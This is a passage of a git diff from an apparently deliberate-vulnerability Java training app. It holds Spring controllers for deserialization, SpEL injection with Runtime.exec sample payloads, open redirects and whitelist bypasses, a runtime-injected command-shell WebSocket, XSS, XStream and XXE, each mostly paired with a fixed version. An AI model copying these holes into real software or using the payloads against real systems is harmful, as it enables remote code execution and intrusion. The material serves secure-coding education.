+
+
+    @GetMapping(value = "/shiro/deserialize")
+    public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+        Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+        if (null == cookie) {
+            return "No rememberMe cookie. Right?";
+        }
+
+        try {
+            String rememberMe = cookie.getValue();
+            byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+            byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+            ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+            ObjectInputStream in = new ObjectInputStream(bytes);
+            in.readObject();
+            in.close();
+        } catch (Exception e){
+            if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+                log.error(e.getMessage());
+                return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+            }
+        }
+
+        return "Shiro deserialize";
+    }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
new file mode 100644
index 00000000..452180b8
--- /dev/null
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import org.springframework.expression.Expression;
+import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+
+/**
+ * SpEL Injection.
+ * @author JoyChou @2019-01-17
+ */
+@RestController
+public class SpEL {
+
+    /**
+     * Use Spel to execute cmd. <p>
+     * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
+     */
+    @RequestMapping("/spel/vuln1")
+    public String spel_vuln1(String value) {
+        ExpressionParser parser = new SpelExpressionParser();
+        return parser.parseExpression(value).getValue().toString();
+    }
+
+    /**
+     * Use Spel to execute cmd. <p>
+     * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+     * Exploit must add <code>#{}</code> if using TemplateParserContext.
+     */
+    @RequestMapping("spel/vuln2")
+    public String spel_vuln2(String value) {
+        StandardEvaluationContext context = new StandardEvaluationContext();
+        SpelExpressionParser parser = new SpelExpressionParser();
+        Expression expression = parser.parseExpression(value, new TemplateParserContext());
+        Object x = expression.getValue(context);    // trigger vulnerability point
+        return x.toString();   // response
+    }
+
+    /**
+     * Use SimpleEvaluationContext to fix.
+     */
+    @RequestMapping("spel/sec")
+    public String spel_sec(String value) {
+        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+        SpelExpressionParser parser = new SpelExpressionParser();
+        Expression expression = parser.parseExpression(value, new TemplateParserContext());
+        Object x = expression.getValue(context);
+        return x.toString();
+    }
+
+    public static void main(String[] args) {
+        ExpressionParser parser = new SpelExpressionParser();
+        String expression = "1+1";
+        String result = parser.parseExpression(expression).getValue().toString();
+        System.out.println(result);
+    }
+
+}
+
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index ce52477c..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -11,69 +11,83 @@
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 
+import org.joychou.security.SecurityUtil;
+
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2017.12.28
- * @desc:   Java url redirect
+ * The vulnerability code and security code of Java url redirect.
+ * The security code is checking whitelist of url redirect.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
  */
 
-
 @Controller
 @RequestMapping("/urlRedirect")
 public class URLRedirect {
 
     /**
-     * @disc: 存在URL重定向漏洞
-     * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+     * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
      */
     @GetMapping("/redirect")
     public String redirect(@RequestParam("url") String url) {
         return "redirect:" + url;
     }
 
+
     /**
-     * @disc: 存在URL重定向漏洞
-     * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+     * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
      */
     @RequestMapping("/setHeader")
     @ResponseBody
-    public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+    public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
         String url = request.getParameter("url");
         response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
         response.setHeader("Location", url);
     }
 
+
     /**
-     * @disc: 存在URL重定向漏洞
-     * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java
+     * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
      */
     @RequestMapping("/sendRedirect")
     @ResponseBody
-    public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+    public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
         String url = request.getParameter("url");
         response.sendRedirect(url); // 302 redirect
     }
 
 
     /**
-     * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
-     * @disc: 安全代码,没有URL重定向漏洞。
+     * Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
+     * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
      */
     @RequestMapping("/forward")
     @ResponseBody
-    public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{
+    public static void forward(HttpServletRequest request, HttpServletResponse response) {
         String url = request.getParameter("url");
-        RequestDispatcher rd =request.getRequestDispatcher(url);
-        try{
+        RequestDispatcher rd = request.getRequestDispatcher(url);
+        try {
             rd.forward(request, response);
-        }catch (Exception e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
 
-    @RequestMapping("/test")
+
+    /**
+     * Safe code of sendRedirect.
+     * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
+     */
+    @RequestMapping("/sendRedirect/sec")
     @ResponseBody
-    public static String test() {
-        return "test";
+    public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+            throws IOException {
+        String url = request.getParameter("url");
+        if (SecurityUtil.checkURL(url) == null) {
+            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            response.getWriter().write("url forbidden");
+            return;
+        }
+        response.sendRedirect(url);
     }
 }
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index a63ae2cf..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,102 +1,171 @@
 package org.joychou.controller;
 
 
-import com.google.common.net.InternetDomainName;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
 
-import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
 import java.net.URL;
+import java.util.ArrayList;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
 /**
- * date: 2018年08月23日
- * author: JoyChou
- * desc: URL白名单绕过
+ * The vulnerability code and security code of Java url whitelist.
+ * The security code is checking url whitelist.
+ *
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
  */
 
-@Controller
+@RestController
 @RequestMapping("/url")
 public class URLWhiteList {
 
 
-    private String urlwhitelist = "joychou.com";
+    private String domainwhitelist[] = {"joychou.org", "joychou.com"};
+    private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
 
+    /**
+     * bypass poc: bypassjoychou.org
+     * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
+     */
+    @GetMapping("/vuln/endsWith")
+    public String endsWith(@RequestParam("url") String url) {
 
-    // 绕过方法bypassjoychou.com
-    @RequestMapping("/endswith")
-    @ResponseBody
-    public String endsWith(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
-        System.out.println(url);
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
-        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
+        String host = SecurityUtil.gethost(url);
 
-        if (rootDomain.endsWith(urlwhitelist)) {
-            return "URL is legal";
-        } else {
-            return "URL is illegal";
+        for (String domain : domainwhitelist) {
+            if (host.endsWith(domain)) {
+                return "Good url.";
+            }
         }
+        return "Bad url.";
     }
 
-    // 绕过方法joychou.com.bypass.com  bypassjoychou.com
-    @RequestMapping("/contains")
-    @ResponseBody
-    public String contains(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
-        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
 
-        if (rootDomain.contains(urlwhitelist)) {
-            return "URL is legal";
-        } else {
-            return "URL is illegal";
+    /**
+     * It's the same with <code>indexOf</code>.
+     * <p>
+     * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+     * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
+     */
+    @GetMapping("/vuln/contains")
+    public String contains(@RequestParam("url") String url) {
+
+        String host = SecurityUtil.gethost(url);
+
+        for (String domain : domainwhitelist) {
+            if (host.contains(domain)) {
+                return "Good url.";
+            }
         }
+        return "Bad url.";
     }
 
-    // 绕过方法bypassjoychou.com,代码功能和endsWith一样/
-    @RequestMapping("/regex")
-    @ResponseBody
-    public String regex(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
-        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
 
-        Pattern p = Pattern.compile("joychou\\.com");
-        Matcher m = p.matcher(rootDomain);
+    /**
+     * bypass poc: bypassjoychou.org. It's the same with endsWith.
+     * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
+     */
+    @GetMapping("/vuln/regex")
+    public String regex(@RequestParam("url") String url) {
+
+        String host = SecurityUtil.gethost(url);
+        Pattern p = Pattern.compile("joychou\\.org$");
+        Matcher m = p.matcher(host);
+
         if (m.find()) {
-            return "URL is legal";
+            return "Good url.";
         } else {
-            return "URL is illegal";
+            return "Bad url.";
         }
     }
 
 
-    // 安全代码
-    @RequestMapping("/seccode")
-    @ResponseBody
-    public String seccode(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
+    /**
+     * The bypass of using {@link java.net.URL} to getHost.
+     * <p>
+     * <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5c@www.joychou.org/a.html">bypass 1</a>
+     * <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html">bypass 2</a>
+     *
+     * <p>
+     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass">More details</a>
+     */
+    @GetMapping("/vuln/url_bypass")
+    public void url_bypass(String url, HttpServletResponse res) throws IOException {
+
+        logger.info("url:  " + url);
+
+        if (!SecurityUtil.isHttp(url)) {
+            return;
+        }
+
         URL u = new URL(url);
-        // 判断是否是http(s)协议
-        if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
-            return "URL is not http or https";
+        String host = u.getHost();
+        logger.info("host:  " + host);
+
+        // endsWith .
+        for (String domain : domainwhitelist) {
+            if (host.endsWith("." + domain)) {
+                res.sendRedirect(url);
+            }
         }
-        String host = u.getHost().toLowerCase();
-        // 如果非顶级域名后缀会报错
-        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
 
-        if (rootDomain.equals(urlwhitelist)) {
-            return "URL is legal";
-        } else {
-            return "URL is illegal";
+    }
+
+
+    /**
+     * First-level & Multi-level host whitelist.
+     * http://localhost:8080/url/sec?url=http://aa.joychou.org
+     */
+    @GetMapping("/sec")
+    public String sec(@RequestParam("url") String url) {
+
+        String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
+
+        if (!SecurityUtil.isHttp(url)) {
+            return "SecurityUtil is not http or https";
+        }
+
+        String host = SecurityUtil.gethost(url);
+
+        for (String whiteHost: whiteDomainlists){
+            if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+                return url;
+            } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+                return url;
+            }
         }
+
+        return "Bad url.";
     }
 
 
+    /**
+     * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
+     */
+    @GetMapping("/sec/array_indexOf")
+    public String sec_array_indexOf(@RequestParam("url") String url) {
+
+        // Define muti-level host whitelist.
+        ArrayList<String> whiteDomainlists = new ArrayList<>();
+        whiteDomainlists.add("bbb.joychou.org");
+        whiteDomainlists.add("ccc.bbb.joychou.org");
+
+        if (!SecurityUtil.isHttp(url)) {
+            return "SecurityUtil is not http or https";
+        }
+
+        String host = SecurityUtil.gethost(url);
+
+        if (whiteDomainlists.indexOf(host) != -1) {
+            return "Good url.";
+        }
+        return "Bad url.";
+    }
+
 }
diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java
new file mode 100644
index 00000000..6a477ece
--- /dev/null
+++ b/src/main/java/org/joychou/controller/WebSockets.java
@@ -0,0 +1,76 @@
+package org.joychou.controller;
+
+import org.apache.tomcat.websocket.server.WsServerContainer;
+import org.joychou.config.WebSocketsProxyEndpoint;
+import org.joychou.config.WebSocketsCmdEndpoint;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.ServletContext;
+import javax.servlet.http.HttpServletRequest;
+import javax.websocket.server.ServerContainer;
+import javax.websocket.server.ServerEndpointConfig;
+
+
+@RestController
+public class WebSockets {
+
+    /**
+     * <p>动态添加WebSockets实现命令执行</p>
+     * <p>
+     * 1. WebSocket的端口和Spring端口一致。<br>
+     * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。
+     * </p>
+     * <p>
+     *    <a href="http://localhost:8080/websocket/cmd?path=/ws/shell">http://localhost:8080/websocket/cmd?path=/ws/shell</a> <br>
+     *    WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+     * </p>
+     * <p>JoyChou @ 2023年02月20日 </p>
+     */
+    @RequestMapping("/websocket/cmd")
+    public String cmdInject(HttpServletRequest req) {
+        String path = req.getParameter("path");
+        if (path == null) {
+            return "path is null";
+        }
+        ServletContext sc = req.getServletContext();
+        try {
+            ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build();
+            WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
+            if (wsc.findMapping(path) == null) {
+                wsc.addEndpoint(sec);
+                System.out.println("[+] Websocket: " + path + " inject success!!!");
+                return "[+] Websocket: " + path + " inject success!!!";
+            } else {
+                System.out.println("[-] Websocket: " + path + " has been injected!");
+                return "[-] Websocket: " + path + " has been injected!";
+            }
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+    @RequestMapping("/websocket/proxy")
+    public String proxyInject(HttpServletRequest req) {
+        String path = req.getParameter("path");
+        if (path == null) {
+            return "path is null";
+        }
+        ServletContext sc = req.getServletContext();
+        try {
+            ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build();
+            WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
+            if (wsc.findMapping(path) == null) {
+                wsc.addEndpoint(sec);
+                System.out.println("[+] Websocket: " + path + " inject success!!!");
+                return "[+] Websocket: " + path + " inject success!!!";
+            } else {
+                System.out.println("[-] Websocket: " + path + " has been injected!");
+                return "[-] Websocket: " + path + " has been injected!";
+            }
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index 4f3bdff5..1c4b8732 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -2,32 +2,73 @@
 
 import org.apache.commons.lang.StringUtils;
 import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.CookieValue;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
-import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2018.01.02
- * @desc:   xss vuls code
+ * @author JoyChou @2018-01-02
  */
-
 @Controller
 @RequestMapping("/xss")
 public class XSS {
-    @RequestMapping("/print")
+
+    /**
+     * Vuln Code.
+     * ReflectXSS
+     * http://localhost:8080/xss/reflect?xss=<script>alert(1)</script>
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/reflect")
     @ResponseBody
-    public static String ssrf_URLConnection(HttpServletRequest request)
-    {
-        String con = request.getParameter("con");
-        return con;
+    public static String reflect(String xss) {
+        return xss;
+    }
 
-        // fix code
-        // return encode(con);
+    /**
+     * Vul Code.
+     * StoredXSS Step1
+     * http://localhost:8080/xss/stored/store?xss=<script>alert(1)</script>
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/stored/store")
+    @ResponseBody
+    public String store(String xss, HttpServletResponse response) {
+        Cookie cookie = new Cookie("xss", xss);
+        response.addCookie(cookie);
+        return "Set param into cookie";
+    }
+
+    /**
+     * Vul Code.
+     * StoredXSS Step2
+     * http://localhost:8080/xss/stored/show
+     *
+     * @param xss unescape string
+     */
+    @RequestMapping("/stored/show")
+    @ResponseBody
+    public String show(@CookieValue("xss") String xss) {
+        return xss;
+    }
+
+    /**
+     * safe Code.
+     * http://localhost:8080/xss/safe
+     */
+    @RequestMapping("/safe")
+    @ResponseBody
+    public static String safe(String xss) {
+        return encode(xss);
     }
 
-    public static String encode(String origin) {
+    private static String encode(String origin) {
         origin = StringUtils.replace(origin, "&", "&amp;");
         origin = StringUtils.replace(origin, "<", "&lt;");
         origin = StringUtils.replace(origin, ">", "&gt;");
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
new file mode 100644
index 00000000..aa3469bd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -0,0 +1,33 @@
+package org.joychou.controller;
+
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
+import org.joychou.dao.User;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+
+@RestController
+public class XStreamRce {
+
+    /**
+     * Fix method: update xstream to 1.4.11
+     * Xstream affected version: 1.4.10 or <= 1.4.6
+     * Set Content-Type: application/xml
+     *
+     * @author JoyChou @2019-07-26
+     */
+    @PostMapping("/xstream")
+    public String parseXml(HttpServletRequest request) throws Exception {
+        String xml = WebUtils.getRequestBody(request);
+        XStream xstream = new XStream(new DomDriver());
+        xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected.
+        xstream.fromXML(xml);
+        return "xstream";
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 1531ecf4..58e90739 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -1,58 +1,70 @@
 package org.joychou.controller;
 
-
+import org.dom4j.DocumentHelper;
 import org.dom4j.io.SAXReader;
-import org.springframework.stereotype.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.data.web.ProjectedPayload;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.*;
+
 import javax.servlet.http.HttpServletRequest;
+
 import org.w3c.dom.Document;
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 import org.xml.sax.helpers.XMLReaderFactory;
 import org.xml.sax.XMLReader;
+
 import java.io.*;
+
 import org.xml.sax.InputSource;
+
 import javax.xml.parsers.DocumentBuilder;
 import javax.xml.parsers.DocumentBuilderFactory;
 import javax.xml.parsers.SAXParserFactory;
 import javax.xml.parsers.SAXParser;
+
 import org.xml.sax.helpers.DefaultHandler;
 import org.apache.commons.digester3.Digester;
 import org.jdom2.input.SAXBuilder;
-
+import org.joychou.util.WebUtils;
+import org.xmlbeam.annotation.XBRead;
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2017.12.22
- * @desc:   Java XXE 漏洞代码,修复代码在注释里
+ * Java xxe vuln and security code.
+ *
+ * @author JoyChou @2017-12-22
  */
 
-@Controller
+@RestController
 @RequestMapping("/xxe")
 public class XXE {
 
-    @RequestMapping(value = "/xmlReader", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_xmlReader(HttpServletRequest request) {
+    private static final Logger logger = LoggerFactory.getLogger(XXE.class);
+    private static final String EXCEPT = "xxe except";
+
+    @PostMapping("/xmlReader/vuln")
+    public String xmlReaderVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
             XMLReader xmlReader = XMLReaderFactory.createXMLReader();
-            xmlReader.parse( new InputSource(new StringReader(xml_con)) );  // parse xml
-            return "ok";
+            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
+            return "xmlReader xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_xmlReader_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
+    public String xmlReaderSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             XMLReader xmlReader = XMLReaderFactory.createXMLReader();
             // fix code start
@@ -60,307 +72,248 @@ public  String xxe_xmlReader_fix(HttpServletRequest request) {
             xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
             xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             //fix code end
-            xmlReader.parse( new InputSource(new StringReader(xml_con)) );  // parse xml
+            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
 
-            return "ok";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "xmlReader xxe security code";
     }
 
 
-    @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_SAXBuilder(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
+    public String SAXBuilderVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXBuilder builder = new SAXBuilder();
-            org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) );  // cause xxe
-            return "ok";
+            // org.jdom2.Document document
+            builder.build(new InputSource(new StringReader(body)));  // cause xxe
+            return "SAXBuilder xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
-    @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_SAXBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
+    public String SAXBuilderSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXBuilder builder = new SAXBuilder();
             builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
             builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) );
+            // org.jdom2.Document document
+            builder.build(new InputSource(new StringReader(body)));
 
-            return "ok";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "SAXBuilder xxe security code";
     }
 
-    @RequestMapping(value = "/SAXReader", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_SAXReader(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
+    public String SAXReaderVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXReader reader = new SAXReader();
-            org.dom4j.Document document = reader.read(  new InputSource(new StringReader(xml_con)) ); // cause xxe
+            // org.dom4j.Document document
+            reader.read(new InputSource(new StringReader(body))); // cause xxe
 
-            return "ok";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "SAXReader xxe vuln code";
     }
 
-    @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public  String xxe_SAXReader_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
+    public String SAXReaderSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXReader reader = new SAXReader();
             reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
             reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            org.dom4j.Document document = reader.read(  new InputSource(new StringReader(xml_con)) );
-
-            return "ok";
+            // org.dom4j.Document document
+            reader.read(new InputSource(new StringReader(body)));
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "SAXReader xxe security code";
     }
 
-    @RequestMapping(value = "/SAXParser", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_SAXParser(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
+    public String SAXParserVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXParserFactory spf = SAXParserFactory.newInstance();
             SAXParser parser = spf.newSAXParser();
-            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
+            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
 
-            return "test";
+            return "SAXParser xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_SAXParser_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
+    public String SAXParserSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXParserFactory spf = SAXParserFactory.newInstance();
             spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             SAXParser parser = spf.newSAXParser();
-            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
-            return "test";
+            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "SAXParser xxe security code";
     }
 
 
-    @RequestMapping(value = "/Digester", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_Digester(HttpServletRequest request) {
+    @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
+    public String DigesterVuln(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             Digester digester = new Digester();
-            digester.parse(new StringReader(xml_con));  // parse xml
-
-            return "test";
+            digester.parse(new StringReader(body));  // parse xml
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "Digester xxe vuln code";
     }
 
-    @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST)
-    @ResponseBody
-    public String xxe_Digester_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
+    public String DigesterSec(HttpServletRequest request) {
         try {
-            String xml_con = getBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             Digester digester = new Digester();
             digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
             digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            digester.parse(new StringReader(xml_con));  // parse xml
+            digester.parse(new StringReader(body));  // parse xml
 
-            return "test";
+            return "Digester xxe security code";
